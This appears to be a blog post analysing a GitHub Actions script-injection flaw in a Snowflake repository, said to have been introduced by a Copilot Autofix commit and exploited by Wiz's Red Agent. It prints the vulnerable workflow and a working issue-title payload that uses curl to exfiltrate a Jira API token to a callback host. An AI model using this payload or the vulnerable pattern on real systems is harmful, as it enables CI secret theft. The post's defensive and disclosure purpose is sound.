August 17, 2026

Copilot Autofix Introduced the Vulnerability That Compromised Snowflake's Jira

A Copilot Autofix commit removed a safe shell pattern and replaced it with direct template expansion, opening a script injection vector that lasted five days before an AI agent found it.

Published
August 17, 2026
Read
4 min
Author
Samir Sengupta
Topic
CI/CD Security

the short version

  • A Copilot Autofix commit replaced a sanitized env-variable pattern with direct ${{ github.event.issue.title }} shell interpolation, creating the injection vector rather than fixing one.
  • The workflow's apparent security gate was always true on issues events because github.event.pull_request is null in that context, so every GitHub user passed it.
  • Wiz's autonomous Red Agent adjusted its payload in real time after a bash syntax error, demonstrating that exploitation iteration no longer requires a human in the loop.
  • The vulnerability was live for only five days before an automated agent discovered, exploited, and reported it, compressing the window teams have to catch AI-introduced regressions.

On June 18, 2026, a commit co-authored by GitHub Copilot Autofix landed in snowflakedb/snowflake-connector-net as part of PR #1218, 'SNOW-2069227: Update jira workflows.' The commit removed a safe input-handling pattern and substituted one that interpolated an attacker-controlled value directly into a shell script. Five days later, on June 23, 2026, Wiz Research's autonomous Red Agent scanned Snowflake's GitHub organization, identified the vulnerability, exploited it, and exfiltrated a Jira API token that authenticated to snowflakecomputing.atlassian.net as [email protected].

The exfiltrated credential granted read access across Snowflake's engineering, security compliance, and bug bounty tracking projects in Jira. Wiz disclosed the finding to Snowflake the same day, June 23, 2026. Snowflake patched the workflow that day via commit 1dc7766 in PR #1402, revoked and rotated the credential, and confirmed through audit logs that Wiz was the sole actor during the five-day exposure window.

The incident is a clean case study in two converging risks: AI coding assistants that regress on security-relevant patterns when generating or modifying code, and AI-powered offensive tooling that can discover and validate those regressions faster than any manual review cadence.

What the Autofix commit changed

The pre-existing workflow passed the issue title through an env: block and built the JSON payload with jq --arg, which keeps the value out of the shell grammar entirely. The Copilot Autofix commit deleted that pattern and replaced it with direct GitHub expression interpolation inside a run: block.

yaml
# Before (safe): passes value as environment variable, never touches shell grammar
- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: jq -n --arg title "$ISSUE_TITLE" ...

# After (vulnerable): Copilot Autofix commit 4a1b8ce
  run: TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

GitHub's template engine expands ${{ github.event.issue.title }} before the shell ever runs. The sed escaping that follows operates on the already-expanded string. A single quote anywhere in the issue title breaks out of the echo '...' subshell invocation before sed has a chance to touch it, giving an attacker arbitrary command execution inside the runner. The workflow triggered on issues: opened, so any authenticated GitHub user could fire it by opening an issue.

The security gate that was always open

The workflow contained an if: condition that looked protective at a glance.

yaml
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')

On an issues event, github.event.pull_request is always null. The condition reduces to evaluating whether null is not equal to the string 'whitesource-for-github-com[bot]', which is always true. The gate passed every GitHub user unconditionally. Teams reviewing this workflow would need to understand the event-context semantics of GitHub Actions expressions to catch the bug — it reads as a meaningful check even though it is not.

How Red Agent iterated through exploitation

Wiz's Red Agent crafted an issue title designed to break out of the echo subshell and exfiltrate secrets via an out-of-band HTTP callback. The first payload used a # comment character to discard the remainder of the line, but that also consumed the closing parenthesis of the TITLE=$(...) subshell, producing a bash EOF error. Rather than stopping, Red Agent analyzed the error, adjusted the payload to use ; echo ' to close the shell block correctly, and resubmitted.

bash
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

Within seconds of the corrected payload, a GitHub Actions runner at Azure IP 20.106.182.197 made an outbound request to Wiz's listener carrying base64-encoded values for JIRA_API_TOKEN, JIRA_USER_EMAIL, and JIRA_BASE_URL. The token authenticated as [email protected] to snowflakecomputing.atlassian.net.

Engineering consequences

The most direct lesson is that AI-generated diffs must go through the same static analysis gates as human-authored code — and for GitHub Actions specifically, that means tooling that understands template expansion order, not just shell linting. The safe pattern here is well-documented: pass untrusted input through env: variables and use argument-safe tools like jq --arg rather than embedding expressions inside run: blocks. The Copilot Autofix commit inverted that pattern, and no automated check caught it before merge.

The five-day exposure window is the other number worth tracking. An AI agent — operating autonomously — went from organization scan to working exploit to disclosure in a single session. Teams that rely on periodic manual audits or quarterly penetration tests of their CI/CD workflows are operating on a cadence that no longer matches the threat environment. Continuous scanning of workflow files for expression injection patterns is now a practical requirement, not a nice-to-have.

  • Never interpolate ${{ github.event.* }} values directly inside run: blocks. Pass them through env: and reference the environment variable.
  • Audit if: conditions in workflows for cases where event-context nulls make the check trivially true.
  • Treat AI-generated commits — including Autofix suggestions — as requiring the same security review as any external contributor's code.
  • Add workflow-specific static analysis (e.g., actionlint or equivalent) to the merge gate so that direct expression interpolation in shell scripts is caught before the PR lands.

What is not yet known

The Wiz report does not describe how broadly Red Agent scanned Snowflake's GitHub organization or whether other workflow files were flagged but not exploited during this engagement. It also does not report how the Copilot Autofix suggestion was triggered — whether it was responding to a security alert, a lint warning, or a manual invocation — which would be relevant to understanding how common this class of regression is across repositories using similar integrations. The report confirms that Wiz was the sole actor during the exposure window, but does not address whether passive observation of the runner's outbound traffic would have been detectable through Snowflake's existing monitoring.

These daily notes are drafted by a model I run and operate myself — the same kind of pipeline this site is about — from sources published in the previous 24 hours, and every one lists what it read. The longer essays, the talks and the preprint are mine, written by hand.

More notes

Building something on this?

I ship production LLM, RAG and agentic systems for a living — the infrastructure behind the things these notes are about. Open to roles, contract work and research collaboration.